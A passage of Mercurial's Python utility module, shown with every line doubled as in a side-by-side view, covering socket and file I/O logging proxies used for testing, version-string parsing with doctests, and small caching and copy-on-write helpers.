571 r'write', *args, **kwargs)
571 r'write', *args, **kwargs)
572
572
573 def detach(self, *args, **kwargs):
573 def detach(self, *args, **kwargs):
574 return object.__getattribute__(self, r'_observedcall')(
574 return object.__getattribute__(self, r'_observedcall')(
575 r'detach', *args, **kwargs)
575 r'detach', *args, **kwargs)
576
576
577 def read1(self, *args, **kwargs):
577 def read1(self, *args, **kwargs):
578 return object.__getattribute__(self, r'_observedcall')(
578 return object.__getattribute__(self, r'_observedcall')(
579 r'read1', *args, **kwargs)
579 r'read1', *args, **kwargs)
580
580
581 class observedbufferedinputpipe(bufferedinputpipe):
581 class observedbufferedinputpipe(bufferedinputpipe):
582 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
582 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
583
583
584 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
584 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
585 bypass ``fileobjectproxy``. Because of this, we need to make
585 bypass ``fileobjectproxy``. Because of this, we need to make
586 ``bufferedinputpipe`` aware of these operations.
586 ``bufferedinputpipe`` aware of these operations.
587
587
588 This variation of ``bufferedinputpipe`` can notify observers about
588 This variation of ``bufferedinputpipe`` can notify observers about
589 ``os.read()`` events. It also re-publishes other events, such as
589 ``os.read()`` events. It also re-publishes other events, such as
590 ``read()`` and ``readline()``.
590 ``read()`` and ``readline()``.
591 """
591 """
592 def _fillbuffer(self):
592 def _fillbuffer(self):
593 res = super(observedbufferedinputpipe, self)._fillbuffer()
593 res = super(observedbufferedinputpipe, self)._fillbuffer()
594
594
595 fn = getattr(self._input._observer, r'osread', None)
595 fn = getattr(self._input._observer, r'osread', None)
596 if fn:
596 if fn:
597 fn(res, _chunksize)
597 fn(res, _chunksize)
598
598
599 return res
599 return res
600
600
601 # We use different observer methods because the operation isn't
601 # We use different observer methods because the operation isn't
602 # performed on the actual file object but on us.
602 # performed on the actual file object but on us.
603 def read(self, size):
603 def read(self, size):
604 res = super(observedbufferedinputpipe, self).read(size)
604 res = super(observedbufferedinputpipe, self).read(size)
605
605
606 fn = getattr(self._input._observer, r'bufferedread', None)
606 fn = getattr(self._input._observer, r'bufferedread', None)
607 if fn:
607 if fn:
608 fn(res, size)
608 fn(res, size)
609
609
610 return res
610 return res
611
611
612 def readline(self, *args, **kwargs):
612 def readline(self, *args, **kwargs):
613 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
613 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
614
614
615 fn = getattr(self._input._observer, r'bufferedreadline', None)
615 fn = getattr(self._input._observer, r'bufferedreadline', None)
616 if fn:
616 if fn:
617 fn(res)
617 fn(res)
618
618
619 return res
619 return res
620
620
621 PROXIED_SOCKET_METHODS = {
621 PROXIED_SOCKET_METHODS = {
622 r'makefile',
622 r'makefile',
623 r'recv',
623 r'recv',
624 r'recvfrom',
624 r'recvfrom',
625 r'recvfrom_into',
625 r'recvfrom_into',
626 r'recv_into',
626 r'recv_into',
627 r'send',
627 r'send',
628 r'sendall',
628 r'sendall',
629 r'sendto',
629 r'sendto',
630 r'setblocking',
630 r'setblocking',
631 r'settimeout',
631 r'settimeout',
632 r'gettimeout',
632 r'gettimeout',
633 r'setsockopt',
633 r'setsockopt',
634 }
634 }
635
635
636 class socketproxy(object):
636 class socketproxy(object):
637 """A proxy around a socket that tells a watcher when events occur.
637 """A proxy around a socket that tells a watcher when events occur.
638
638
639 This is like ``fileobjectproxy`` except for sockets.
639 This is like ``fileobjectproxy`` except for sockets.
640
640
641 This type is intended to only be used for testing purposes. Think hard
641 This type is intended to only be used for testing purposes. Think hard
642 before using it in important code.
642 before using it in important code.
643 """
643 """
644 __slots__ = (
644 __slots__ = (
645 r'_orig',
645 r'_orig',
646 r'_observer',
646 r'_observer',
647 )
647 )
648
648
649 def __init__(self, sock, observer):
649 def __init__(self, sock, observer):
650 object.__setattr__(self, r'_orig', sock)
650 object.__setattr__(self, r'_orig', sock)
651 object.__setattr__(self, r'_observer', observer)
651 object.__setattr__(self, r'_observer', observer)
652
652
653 def __getattribute__(self, name):
653 def __getattribute__(self, name):
654 if name in PROXIED_SOCKET_METHODS:
654 if name in PROXIED_SOCKET_METHODS:
655 return object.__getattribute__(self, name)
655 return object.__getattribute__(self, name)
656
656
657 return getattr(object.__getattribute__(self, r'_orig'), name)
657 return getattr(object.__getattribute__(self, r'_orig'), name)
658
658
659 def __delattr__(self, name):
659 def __delattr__(self, name):
660 return delattr(object.__getattribute__(self, r'_orig'), name)
660 return delattr(object.__getattribute__(self, r'_orig'), name)
661
661
662 def __setattr__(self, name, value):
662 def __setattr__(self, name, value):
663 return setattr(object.__getattribute__(self, r'_orig'), name, value)
663 return setattr(object.__getattribute__(self, r'_orig'), name, value)
664
664
665 def __nonzero__(self):
665 def __nonzero__(self):
666 return bool(object.__getattribute__(self, r'_orig'))
666 return bool(object.__getattribute__(self, r'_orig'))
667
667
668 __bool__ = __nonzero__
668 __bool__ = __nonzero__
669
669
670 def _observedcall(self, name, *args, **kwargs):
670 def _observedcall(self, name, *args, **kwargs):
671 # Call the original object.
671 # Call the original object.
672 orig = object.__getattribute__(self, r'_orig')
672 orig = object.__getattribute__(self, r'_orig')
673 res = getattr(orig, name)(*args, **kwargs)
673 res = getattr(orig, name)(*args, **kwargs)
674
674
675 # Call a method on the observer of the same name with arguments
675 # Call a method on the observer of the same name with arguments
676 # so it can react, log, etc.
676 # so it can react, log, etc.
677 observer = object.__getattribute__(self, r'_observer')
677 observer = object.__getattribute__(self, r'_observer')
678 fn = getattr(observer, name, None)
678 fn = getattr(observer, name, None)
679 if fn:
679 if fn:
680 fn(res, *args, **kwargs)
680 fn(res, *args, **kwargs)
681
681
682 return res
682 return res
683
683
684 def makefile(self, *args, **kwargs):
684 def makefile(self, *args, **kwargs):
685 res = object.__getattribute__(self, r'_observedcall')(
685 res = object.__getattribute__(self, r'_observedcall')(
686 r'makefile', *args, **kwargs)
686 r'makefile', *args, **kwargs)
687
687
688 # The file object may be used for I/O. So we turn it into a
688 # The file object may be used for I/O. So we turn it into a
689 # proxy using our observer.
689 # proxy using our observer.
690 observer = object.__getattribute__(self, r'_observer')
690 observer = object.__getattribute__(self, r'_observer')
691 return makeloggingfileobject(observer.fh, res, observer.name,
691 return makeloggingfileobject(observer.fh, res, observer.name,
692 reads=observer.reads,
692 reads=observer.reads,
693 writes=observer.writes,
693 writes=observer.writes,
694 logdata=observer.logdata,
694 logdata=observer.logdata,
695 logdataapis=observer.logdataapis)
695 logdataapis=observer.logdataapis)
696
696
697 def recv(self, *args, **kwargs):
697 def recv(self, *args, **kwargs):
698 return object.__getattribute__(self, r'_observedcall')(
698 return object.__getattribute__(self, r'_observedcall')(
699 r'recv', *args, **kwargs)
699 r'recv', *args, **kwargs)
700
700
701 def recvfrom(self, *args, **kwargs):
701 def recvfrom(self, *args, **kwargs):
702 return object.__getattribute__(self, r'_observedcall')(
702 return object.__getattribute__(self, r'_observedcall')(
703 r'recvfrom', *args, **kwargs)
703 r'recvfrom', *args, **kwargs)
704
704
705 def recvfrom_into(self, *args, **kwargs):
705 def recvfrom_into(self, *args, **kwargs):
706 return object.__getattribute__(self, r'_observedcall')(
706 return object.__getattribute__(self, r'_observedcall')(
707 r'recvfrom_into', *args, **kwargs)
707 r'recvfrom_into', *args, **kwargs)
708
708
709 def recv_into(self, *args, **kwargs):
709 def recv_into(self, *args, **kwargs):
710 return object.__getattribute__(self, r'_observedcall')(
710 return object.__getattribute__(self, r'_observedcall')(
711 r'recv_info', *args, **kwargs)
711 r'recv_info', *args, **kwargs)
712
712
713 def send(self, *args, **kwargs):
713 def send(self, *args, **kwargs):
714 return object.__getattribute__(self, r'_observedcall')(
714 return object.__getattribute__(self, r'_observedcall')(
715 r'send', *args, **kwargs)
715 r'send', *args, **kwargs)
716
716
717 def sendall(self, *args, **kwargs):
717 def sendall(self, *args, **kwargs):
718 return object.__getattribute__(self, r'_observedcall')(
718 return object.__getattribute__(self, r'_observedcall')(
719 r'sendall', *args, **kwargs)
719 r'sendall', *args, **kwargs)
720
720
721 def sendto(self, *args, **kwargs):
721 def sendto(self, *args, **kwargs):
722 return object.__getattribute__(self, r'_observedcall')(
722 return object.__getattribute__(self, r'_observedcall')(
723 r'sendto', *args, **kwargs)
723 r'sendto', *args, **kwargs)
724
724
725 def setblocking(self, *args, **kwargs):
725 def setblocking(self, *args, **kwargs):
726 return object.__getattribute__(self, r'_observedcall')(
726 return object.__getattribute__(self, r'_observedcall')(
727 r'setblocking', *args, **kwargs)
727 r'setblocking', *args, **kwargs)
728
728
729 def settimeout(self, *args, **kwargs):
729 def settimeout(self, *args, **kwargs):
730 return object.__getattribute__(self, r'_observedcall')(
730 return object.__getattribute__(self, r'_observedcall')(
731 r'settimeout', *args, **kwargs)
731 r'settimeout', *args, **kwargs)
732
732
733 def gettimeout(self, *args, **kwargs):
733 def gettimeout(self, *args, **kwargs):
734 return object.__getattribute__(self, r'_observedcall')(
734 return object.__getattribute__(self, r'_observedcall')(
735 r'gettimeout', *args, **kwargs)
735 r'gettimeout', *args, **kwargs)
736
736
737 def setsockopt(self, *args, **kwargs):
737 def setsockopt(self, *args, **kwargs):
738 return object.__getattribute__(self, r'_observedcall')(
738 return object.__getattribute__(self, r'_observedcall')(
739 r'setsockopt', *args, **kwargs)
739 r'setsockopt', *args, **kwargs)
740
740
741 class baseproxyobserver(object):
741 class baseproxyobserver(object):
742 def _writedata(self, data):
742 def _writedata(self, data):
743 if not self.logdata:
743 if not self.logdata:
744 if self.logdataapis:
744 if self.logdataapis:
745 self.fh.write('\n')
745 self.fh.write('\n')
746 self.fh.flush()
746 self.fh.flush()
747 return
747 return
748
748
749 # Simple case writes all data on a single line.
749 # Simple case writes all data on a single line.
750 if b'\n' not in data:
750 if b'\n' not in data:
751 if self.logdataapis:
751 if self.logdataapis:
752 self.fh.write(': %s\n' % stringutil.escapestr(data))
752 self.fh.write(': %s\n' % stringutil.escapestr(data))
753 else:
753 else:
754 self.fh.write('%s> %s\n'
754 self.fh.write('%s> %s\n'
755 % (self.name, stringutil.escapestr(data)))
755 % (self.name, stringutil.escapestr(data)))
756 self.fh.flush()
756 self.fh.flush()
757 return
757 return
758
758
759 # Data with newlines is written to multiple lines.
759 # Data with newlines is written to multiple lines.
760 if self.logdataapis:
760 if self.logdataapis:
761 self.fh.write(':\n')
761 self.fh.write(':\n')
762
762
763 lines = data.splitlines(True)
763 lines = data.splitlines(True)
764 for line in lines:
764 for line in lines:
765 self.fh.write('%s> %s\n'
765 self.fh.write('%s> %s\n'
766 % (self.name, stringutil.escapestr(line)))
766 % (self.name, stringutil.escapestr(line)))
767 self.fh.flush()
767 self.fh.flush()
768
768
769 class fileobjectobserver(baseproxyobserver):
769 class fileobjectobserver(baseproxyobserver):
770 """Logs file object activity."""
770 """Logs file object activity."""
771 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
771 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
772 logdataapis=True):
772 logdataapis=True):
773 self.fh = fh
773 self.fh = fh
774 self.name = name
774 self.name = name
775 self.logdata = logdata
775 self.logdata = logdata
776 self.logdataapis = logdataapis
776 self.logdataapis = logdataapis
777 self.reads = reads
777 self.reads = reads
778 self.writes = writes
778 self.writes = writes
779
779
780 def read(self, res, size=-1):
780 def read(self, res, size=-1):
781 if not self.reads:
781 if not self.reads:
782 return
782 return
783 # Python 3 can return None from reads at EOF instead of empty strings.
783 # Python 3 can return None from reads at EOF instead of empty strings.
784 if res is None:
784 if res is None:
785 res = ''
785 res = ''
786
786
787 if self.logdataapis:
787 if self.logdataapis:
788 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
788 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
789
789
790 self._writedata(res)
790 self._writedata(res)
791
791
792 def readline(self, res, limit=-1):
792 def readline(self, res, limit=-1):
793 if not self.reads:
793 if not self.reads:
794 return
794 return
795
795
796 if self.logdataapis:
796 if self.logdataapis:
797 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
797 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
798
798
799 self._writedata(res)
799 self._writedata(res)
800
800
801 def readinto(self, res, dest):
801 def readinto(self, res, dest):
802 if not self.reads:
802 if not self.reads:
803 return
803 return
804
804
805 if self.logdataapis:
805 if self.logdataapis:
806 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
806 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
807 res))
807 res))
808
808
809 data = dest[0:res] if res is not None else b''
809 data = dest[0:res] if res is not None else b''
810 self._writedata(data)
810 self._writedata(data)
811
811
812 def write(self, res, data):
812 def write(self, res, data):
813 if not self.writes:
813 if not self.writes:
814 return
814 return
815
815
816 # Python 2 returns None from some write() calls. Python 3 (reasonably)
816 # Python 2 returns None from some write() calls. Python 3 (reasonably)
817 # returns the integer bytes written.
817 # returns the integer bytes written.
818 if res is None and data:
818 if res is None and data:
819 res = len(data)
819 res = len(data)
820
820
821 if self.logdataapis:
821 if self.logdataapis:
822 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
822 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
823
823
824 self._writedata(data)
824 self._writedata(data)
825
825
826 def flush(self, res):
826 def flush(self, res):
827 if not self.writes:
827 if not self.writes:
828 return
828 return
829
829
830 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
830 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
831
831
832 # For observedbufferedinputpipe.
832 # For observedbufferedinputpipe.
833 def bufferedread(self, res, size):
833 def bufferedread(self, res, size):
834 if not self.reads:
834 if not self.reads:
835 return
835 return
836
836
837 if self.logdataapis:
837 if self.logdataapis:
838 self.fh.write('%s> bufferedread(%d) -> %d' % (
838 self.fh.write('%s> bufferedread(%d) -> %d' % (
839 self.name, size, len(res)))
839 self.name, size, len(res)))
840
840
841 self._writedata(res)
841 self._writedata(res)
842
842
843 def bufferedreadline(self, res):
843 def bufferedreadline(self, res):
844 if not self.reads:
844 if not self.reads:
845 return
845 return
846
846
847 if self.logdataapis:
847 if self.logdataapis:
848 self.fh.write('%s> bufferedreadline() -> %d' % (
848 self.fh.write('%s> bufferedreadline() -> %d' % (
849 self.name, len(res)))
849 self.name, len(res)))
850
850
851 self._writedata(res)
851 self._writedata(res)
852
852
853 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
853 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
854 logdata=False, logdataapis=True):
854 logdata=False, logdataapis=True):
855 """Turn a file object into a logging file object."""
855 """Turn a file object into a logging file object."""
856
856
857 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
857 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
858 logdata=logdata, logdataapis=logdataapis)
858 logdata=logdata, logdataapis=logdataapis)
859 return fileobjectproxy(fh, observer)
859 return fileobjectproxy(fh, observer)
860
860
861 class socketobserver(baseproxyobserver):
861 class socketobserver(baseproxyobserver):
862 """Logs socket activity."""
862 """Logs socket activity."""
863 def __init__(self, fh, name, reads=True, writes=True, states=True,
863 def __init__(self, fh, name, reads=True, writes=True, states=True,
864 logdata=False, logdataapis=True):
864 logdata=False, logdataapis=True):
865 self.fh = fh
865 self.fh = fh
866 self.name = name
866 self.name = name
867 self.reads = reads
867 self.reads = reads
868 self.writes = writes
868 self.writes = writes
869 self.states = states
869 self.states = states
870 self.logdata = logdata
870 self.logdata = logdata
871 self.logdataapis = logdataapis
871 self.logdataapis = logdataapis
872
872
873 def makefile(self, res, mode=None, bufsize=None):
873 def makefile(self, res, mode=None, bufsize=None):
874 if not self.states:
874 if not self.states:
875 return
875 return
876
876
877 self.fh.write('%s> makefile(%r, %r)\n' % (
877 self.fh.write('%s> makefile(%r, %r)\n' % (
878 self.name, mode, bufsize))
878 self.name, mode, bufsize))
879
879
880 def recv(self, res, size, flags=0):
880 def recv(self, res, size, flags=0):
881 if not self.reads:
881 if not self.reads:
882 return
882 return
883
883
884 if self.logdataapis:
884 if self.logdataapis:
885 self.fh.write('%s> recv(%d, %d) -> %d' % (
885 self.fh.write('%s> recv(%d, %d) -> %d' % (
886 self.name, size, flags, len(res)))
886 self.name, size, flags, len(res)))
887 self._writedata(res)
887 self._writedata(res)
888
888
889 def recvfrom(self, res, size, flags=0):
889 def recvfrom(self, res, size, flags=0):
890 if not self.reads:
890 if not self.reads:
891 return
891 return
892
892
893 if self.logdataapis:
893 if self.logdataapis:
894 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
894 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
895 self.name, size, flags, len(res[0])))
895 self.name, size, flags, len(res[0])))
896
896
897 self._writedata(res[0])
897 self._writedata(res[0])
898
898
899 def recvfrom_into(self, res, buf, size, flags=0):
899 def recvfrom_into(self, res, buf, size, flags=0):
900 if not self.reads:
900 if not self.reads:
901 return
901 return
902
902
903 if self.logdataapis:
903 if self.logdataapis:
904 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
904 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
905 self.name, size, flags, res[0]))
905 self.name, size, flags, res[0]))
906
906
907 self._writedata(buf[0:res[0]])
907 self._writedata(buf[0:res[0]])
908
908
909 def recv_into(self, res, buf, size=0, flags=0):
909 def recv_into(self, res, buf, size=0, flags=0):
910 if not self.reads:
910 if not self.reads:
911 return
911 return
912
912
913 if self.logdataapis:
913 if self.logdataapis:
914 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
914 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
915 self.name, size, flags, res))
915 self.name, size, flags, res))
916
916
917 self._writedata(buf[0:res])
917 self._writedata(buf[0:res])
918
918
919 def send(self, res, data, flags=0):
919 def send(self, res, data, flags=0):
920 if not self.writes:
920 if not self.writes:
921 return
921 return
922
922
923 self.fh.write('%s> send(%d, %d) -> %d' % (
923 self.fh.write('%s> send(%d, %d) -> %d' % (
924 self.name, len(data), flags, len(res)))
924 self.name, len(data), flags, len(res)))
925 self._writedata(data)
925 self._writedata(data)
926
926
927 def sendall(self, res, data, flags=0):
927 def sendall(self, res, data, flags=0):
928 if not self.writes:
928 if not self.writes:
929 return
929 return
930
930
931 if self.logdataapis:
931 if self.logdataapis:
932 # Returns None on success. So don't bother reporting return value.
932 # Returns None on success. So don't bother reporting return value.
933 self.fh.write('%s> sendall(%d, %d)' % (
933 self.fh.write('%s> sendall(%d, %d)' % (
934 self.name, len(data), flags))
934 self.name, len(data), flags))
935
935
936 self._writedata(data)
936 self._writedata(data)
937
937
938 def sendto(self, res, data, flagsoraddress, address=None):
938 def sendto(self, res, data, flagsoraddress, address=None):
939 if not self.writes:
939 if not self.writes:
940 return
940 return
941
941
942 if address:
942 if address:
943 flags = flagsoraddress
943 flags = flagsoraddress
944 else:
944 else:
945 flags = 0
945 flags = 0
946
946
947 if self.logdataapis:
947 if self.logdataapis:
948 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
948 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
949 self.name, len(data), flags, address, res))
949 self.name, len(data), flags, address, res))
950
950
951 self._writedata(data)
951 self._writedata(data)
952
952
953 def setblocking(self, res, flag):
953 def setblocking(self, res, flag):
954 if not self.states:
954 if not self.states:
955 return
955 return
956
956
957 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
957 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
958
958
959 def settimeout(self, res, value):
959 def settimeout(self, res, value):
960 if not self.states:
960 if not self.states:
961 return
961 return
962
962
963 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
963 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
964
964
965 def gettimeout(self, res):
965 def gettimeout(self, res):
966 if not self.states:
966 if not self.states:
967 return
967 return
968
968
969 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
969 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
970
970
971 def setsockopt(self, level, optname, value):
971 def setsockopt(self, level, optname, value):
972 if not self.states:
972 if not self.states:
973 return
973 return
974
974
975 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
975 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
976 self.name, level, optname, value))
976 self.name, level, optname, value))
977
977
978 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
978 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
979 logdata=False, logdataapis=True):
979 logdata=False, logdataapis=True):
980 """Turn a socket into a logging socket."""
980 """Turn a socket into a logging socket."""
981
981
982 observer = socketobserver(logh, name, reads=reads, writes=writes,
982 observer = socketobserver(logh, name, reads=reads, writes=writes,
983 states=states, logdata=logdata,
983 states=states, logdata=logdata,
984 logdataapis=logdataapis)
984 logdataapis=logdataapis)
985 return socketproxy(fh, observer)
985 return socketproxy(fh, observer)
986
986
987 def version():
987 def version():
988 """Return version information if available."""
988 """Return version information if available."""
989 try:
989 try:
990 from . import __version__
990 from . import __version__
991 return __version__.version
991 return __version__.version
992 except ImportError:
992 except ImportError:
993 return 'unknown'
993 return 'unknown'
994
994
995 def versiontuple(v=None, n=4):
995 def versiontuple(v=None, n=4):
996 """Parses a Mercurial version string into an N-tuple.
996 """Parses a Mercurial version string into an N-tuple.
997
997
998 The version string to be parsed is specified with the ``v`` argument.
998 The version string to be parsed is specified with the ``v`` argument.
999 If it isn't defined, the current Mercurial version string will be parsed.
999 If it isn't defined, the current Mercurial version string will be parsed.
1000
1000
1001 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1001 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1002 returned values:
1002 returned values:
1003
1003
1004 >>> v = b'3.6.1+190-df9b73d2d444'
1004 >>> v = b'3.6.1+190-df9b73d2d444'
1005 >>> versiontuple(v, 2)
1005 >>> versiontuple(v, 2)
1006 (3, 6)
1006 (3, 6)
1007 >>> versiontuple(v, 3)
1007 >>> versiontuple(v, 3)
1008 (3, 6, 1)
1008 (3, 6, 1)
1009 >>> versiontuple(v, 4)
1009 >>> versiontuple(v, 4)
1010 (3, 6, 1, '190-df9b73d2d444')
1010 (3, 6, 1, '190-df9b73d2d444')
1011
1011
1012 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1012 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1013 (3, 6, 1, '190-df9b73d2d444+20151118')
1013 (3, 6, 1, '190-df9b73d2d444+20151118')
1014
1014
1015 >>> v = b'3.6'
1015 >>> v = b'3.6'
1016 >>> versiontuple(v, 2)
1016 >>> versiontuple(v, 2)
1017 (3, 6)
1017 (3, 6)
1018 >>> versiontuple(v, 3)
1018 >>> versiontuple(v, 3)
1019 (3, 6, None)
1019 (3, 6, None)
1020 >>> versiontuple(v, 4)
1020 >>> versiontuple(v, 4)
1021 (3, 6, None, None)
1021 (3, 6, None, None)
1022
1022
1023 >>> v = b'3.9-rc'
1023 >>> v = b'3.9-rc'
1024 >>> versiontuple(v, 2)
1024 >>> versiontuple(v, 2)
1025 (3, 9)
1025 (3, 9)
1026 >>> versiontuple(v, 3)
1026 >>> versiontuple(v, 3)
1027 (3, 9, None)
1027 (3, 9, None)
1028 >>> versiontuple(v, 4)
1028 >>> versiontuple(v, 4)
1029 (3, 9, None, 'rc')
1029 (3, 9, None, 'rc')
1030
1030
1031 >>> v = b'3.9-rc+2-02a8fea4289b'
1031 >>> v = b'3.9-rc+2-02a8fea4289b'
1032 >>> versiontuple(v, 2)
1032 >>> versiontuple(v, 2)
1033 (3, 9)
1033 (3, 9)
1034 >>> versiontuple(v, 3)
1034 >>> versiontuple(v, 3)
1035 (3, 9, None)
1035 (3, 9, None)
1036 >>> versiontuple(v, 4)
1036 >>> versiontuple(v, 4)
1037 (3, 9, None, 'rc+2-02a8fea4289b')
1037 (3, 9, None, 'rc+2-02a8fea4289b')
1038
1038
1039 >>> versiontuple(b'4.6rc0')
1039 >>> versiontuple(b'4.6rc0')
1040 (4, 6, None, 'rc0')
1040 (4, 6, None, 'rc0')
1041 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1041 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1042 (4, 6, None, 'rc0+12-425d55e54f98')
1042 (4, 6, None, 'rc0+12-425d55e54f98')
1043 >>> versiontuple(b'.1.2.3')
1043 >>> versiontuple(b'.1.2.3')
1044 (None, None, None, '.1.2.3')
1044 (None, None, None, '.1.2.3')
1045 >>> versiontuple(b'12.34..5')
1045 >>> versiontuple(b'12.34..5')
1046 (12, 34, None, '..5')
1046 (12, 34, None, '..5')
1047 >>> versiontuple(b'1.2.3.4.5.6')
1047 >>> versiontuple(b'1.2.3.4.5.6')
1048 (1, 2, 3, '.4.5.6')
1048 (1, 2, 3, '.4.5.6')
1049 """
1049 """
1050 if not v:
1050 if not v:
1051 v = version()
1051 v = version()
1052 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1052 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1053 if not m:
1053 if not m:
1054 vparts, extra = '', v
1054 vparts, extra = '', v
1055 elif m.group(2):
1055 elif m.group(2):
1056 vparts, extra = m.groups()
1056 vparts, extra = m.groups()
1057 else:
1057 else:
1058 vparts, extra = m.group(1), None
1058 vparts, extra = m.group(1), None
1059
1059
1060 vints = []
1060 vints = []
1061 for i in vparts.split('.'):
1061 for i in vparts.split('.'):
1062 try:
1062 try:
1063 vints.append(int(i))
1063 vints.append(int(i))
1064 except ValueError:
1064 except ValueError:
1065 break
1065 break
1066 # (3, 6) -> (3, 6, None)
1066 # (3, 6) -> (3, 6, None)
1067 while len(vints) < 3:
1067 while len(vints) < 3:
1068 vints.append(None)
1068 vints.append(None)
1069
1069
1070 if n == 2:
1070 if n == 2:
1071 return (vints[0], vints[1])
1071 return (vints[0], vints[1])
1072 if n == 3:
1072 if n == 3:
1073 return (vints[0], vints[1], vints[2])
1073 return (vints[0], vints[1], vints[2])
1074 if n == 4:
1074 if n == 4:
1075 return (vints[0], vints[1], vints[2], extra)
1075 return (vints[0], vints[1], vints[2], extra)
1076
1076
1077 def cachefunc(func):
1077 def cachefunc(func):
1078 '''cache the result of function calls'''
1078 '''cache the result of function calls'''
1079 # XXX doesn't handle keywords args
1079 # XXX doesn't handle keywords args
1080 if func.__code__.co_argcount == 0:
1080 if func.__code__.co_argcount == 0:
1081 cache = []
1081 cache = []
1082 def f():
1082 def f():
1083 if len(cache) == 0:
1083 if len(cache) == 0:
1084 cache.append(func())
1084 cache.append(func())
1085 return cache[0]
1085 return cache[0]
1086 return f
1086 return f
1087 cache = {}
1087 cache = {}
1088 if func.__code__.co_argcount == 1:
1088 if func.__code__.co_argcount == 1:
1089 # we gain a small amount of time because
1089 # we gain a small amount of time because
1090 # we don't need to pack/unpack the list
1090 # we don't need to pack/unpack the list
1091 def f(arg):
1091 def f(arg):
1092 if arg not in cache:
1092 if arg not in cache:
1093 cache[arg] = func(arg)
1093 cache[arg] = func(arg)
1094 return cache[arg]
1094 return cache[arg]
1095 else:
1095 else:
1096 def f(*args):
1096 def f(*args):
1097 if args not in cache:
1097 if args not in cache:
1098 cache[args] = func(*args)
1098 cache[args] = func(*args)
1099 return cache[args]
1099 return cache[args]
1100
1100
1101 return f
1101 return f
1102
1102
1103 class cow(object):
1103 class cow(object):
1104 """helper class to make copy-on-write easier
1104 """helper class to make copy-on-write easier
1105
1105
1106 Call preparewrite before doing any writes.
1106 Call preparewrite before doing any writes.
1107 """
1107 """
1108
1108
1109 def preparewrite(self):
1109 def preparewrite(self):
1110 """call this before writes, return self or a copied new object"""
1110 """call this before writes, return self or a copied new object"""
1111 if getattr(self, '_copied', 0):
1111 if getattr(self, '_copied', 0):
1112 self._copied -= 1
1112 self._copied -= 1
1113 return self.__class__(self)
1113 return self.__class__(self)
1114 return self
1114 return self
1115
1115
1116 def copy(self):
1116 def copy(self):
1117 """always do a cheap copy"""
1117 """always do a cheap copy"""
1118 self._copied = getattr(self, '_copied', 0) + 1
1118 self._copied = getattr(self, '_copied', 0) + 1
1119 return self
1119 return self
1120
1120
1121 class sortdict(collections.OrderedDict):
1121 class sortdict(collections.OrderedDict):
1122 '''a simple sorted dictionary
1122 '''a simple sorted dictionary
1123
1123
1124 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1124 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1125 >>> d2 = d1.copy()
1125 >>> d2 = d1.copy()
1126 >>> d2
1126 >>> d2
1127 sortdict([('a', 0), ('b', 1)])
1127 sortdict([('a', 0), ('b', 1)])
1128 >>> d2.update([(b'a', 2)])
1128 >>> d2.update([(b'a', 2)])
1129 >>> list(d2.keys()) # should still be in last-set order
1129 >>> list(d2.keys()) # should still be in last-set order
1130 ['b', 'a']
1130 ['b', 'a']
1131 '''
1131 '''
1132
1132
1133 def __setitem__(self, key, value):
1133 def __setitem__(self, key, value):
1134 if key in self:
1134 if key in self:
1135 del self[key]
1135 del self[key]
1136 super(sortdict, self).__setitem__(key, value)
1136 super(sortdict, self).__setitem__(key, value)
1137
1137
1138 if pycompat.ispypy:
1138 if pycompat.ispypy:
1139 # __setitem__() isn't called as of PyPy 5.8.0
1139 # __setitem__() isn't called as of PyPy 5.8.0
1140 def update(self, src):
1140 def update(self, src):
1141 if isinstance(src, dict):
1141 if isinstance(src, dict):
1142 src = src.iteritems()
1142 src = src.iteritems()
1143 for k, v in src:
1143 for k, v in src:
1144 self[k] = v
1144 self[k] = v
1145
1145
1146 class cowdict(cow, dict):
1146 class cowdict(cow, dict):
1147 """copy-on-write dict
1147 """copy-on-write dict
1148
